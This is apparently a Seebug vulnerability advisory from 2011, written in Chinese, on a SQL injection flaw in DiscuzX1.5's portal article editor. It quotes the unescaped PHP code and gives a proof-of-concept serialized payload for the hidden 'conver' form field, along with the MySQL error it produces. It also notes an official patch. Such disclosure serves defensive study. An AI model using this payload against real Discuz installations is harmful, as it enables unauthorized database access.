DiscuzX1.5 门户管理权限SQL注入漏洞

2011-05-04T00:00:00
ID SSV:20515
Type seebug
Reporter Root
Modified 2011-05-04T00:00:00

Description

source\include\portalcp\portalcp_article.php //90行 if($_G[''gp_conver'']) { $converfiles = unserialize(stripcslashes($_G[''gp_conver''])); $setarr[''pic''] = $converfiles[''pic'']; $setarr[''thumb''] = $converfiles[''thumb'']; $setarr[''remote''] = $converfiles[''remote'']; } 可以看出变量 $converfiles 没有 addcslashes。 $aid = DB::insert(''portal_article_title'', $setarr, 1); //122行 进入数据库查询,因此存在SQL注射BUG。

DiscuzX1.5 更新官方补丁 官方已经发布了漏洞补丁

                                        
                                            
                                                有 门户 › 门户管理 › 频道栏目 发表权限。
发表文章:
http://localhost:9998/portal.php?mod=portalcp&ac=article&catid=1
在firebug下显示conver表单。

填上:a:3:{s:3:"pic";s:3:"xx''";s:5:"thumb";s:2:"xx";s:6:"remote";s:2:"xx";}
提交即暴错。

Error messages:

* [Type] 查询语句错误
* [1064] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''xx'',`remote`=''xx'',`uid`=''1'',`username`=''admin'',`id`=''0'''' at line 1
* [Query] INSERT INTO portal_article_title SET `title`=''xxxxxxxx'',`shorttitle`='''',`author`='''',`from`='''',`fromurl`='''',`dateline`=''1301158320'',`url`='''',`allowcomment`=''1'',`summary`=''xxxxxxxxxxxxxxxx'',`prename`='''',`preurl`='''',`catid`=''1'',`tag`=''0'',`status`=''0'',`pic`=''xx'''',`thumb`=''xx'',`remote`=''xx'',`uid`=''1'',`username`=''admin'',`id`=''0''